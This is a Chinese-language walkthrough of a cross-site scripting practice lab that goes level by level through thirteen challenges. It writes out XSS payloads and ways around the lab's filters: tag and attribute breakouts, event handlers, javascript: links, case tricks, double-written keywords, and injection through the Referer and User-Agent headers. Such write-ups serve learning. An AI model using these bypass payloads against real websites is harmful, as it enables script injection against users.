第一关:
我们来到第一关发现什么提示也没有试着输一个<script>alert()</script>
第一关还是简单的直接输入就可以了
第二关:
1.我们尝试在搜索框输入<script>alert()</script>
2.查看源代码
3.搜索框输入:"><script>alert()</script>
第三关:
1.首先输入<script>alert()</script>看看行不行
2.查看源代码
发现符号被实体化了
3.输入框输入'a'>οnclick='alert(1)',在点击输入框
第四关:
1.还是输入<scrtip>alert()</script>
2.查看源代码
3.输入框输入”οnclick=alert(1),再点击输入框
第五关:
1.尝试输入"οnfοcus=javascript:alert()"
2.查看源代码
3.发现对事件on做了过滤,在他们中间加了_,尝试用a标签的href属性构造payload,输入"><a href
='javascript:alert(123);'>
第六关:
第六关,我们发现还是对scriipt进行了替换,但是当我们转化一下大小写发现好像并不会过滤,因此我们可以直接利用大小写以及闭合进行绕过:
"><Script>alert(1)</Script>
第七关:
直接看源代码
我们发现这一关将很多关键词都进行了替换!!! 看似毫无办法,但是这里却隐藏着一个逻辑上的bug。。这里由于,代码中的替换只执行了一次,未进行循环的的检测与替换,因此啊我们可以直接就利用双写进行绕过测试了
"><scrscriptipt>alert(1)</scrscriptipt>
第八关:
我们首先输入一串xss的脚本语句,然后发现呢!我们输入的东西最后都拼接到下面友情链接处了,因此这里我们只需要写入javascript:alert(1),就可以利用超链接进行跳转!
但是呢,由于代码中进行了替换,因此直接写入是不可取的!
于是,这里我们采取Unicode编码看看?
然后,再点击刚刚那个链接按钮:
第9关:
先看源码
因此,这一关需要加上http://
然后此时就可以绕过了:
第10关:
先看源代码
然后输入keyword=well done!&t_sort=" type="text" οnclick="alert(1)"
第11关:
先查看源代码
发现这有一个ref的变量,那么这里我猜想这可能似乎是数据包里的referer 。为了验证一下我的猜想,我们先打开源代码进行查看一下:
referer: " type="text" οnclick="alert(1)"
第12关:
查看源代码
这里啊,很明显是读取了user-agent的信息,因此,可以直接判定这里很可能存在着注入点:
User-Agent: " type="text" οnclick="alert(1)"
第13关:
查看源代码
大概猜这个cook变量应该是cookie的缩写
然后,我们发现这里的cookie确实是存在着一个变量user,那我估计大概率就是这里,不管怎么样先试试看!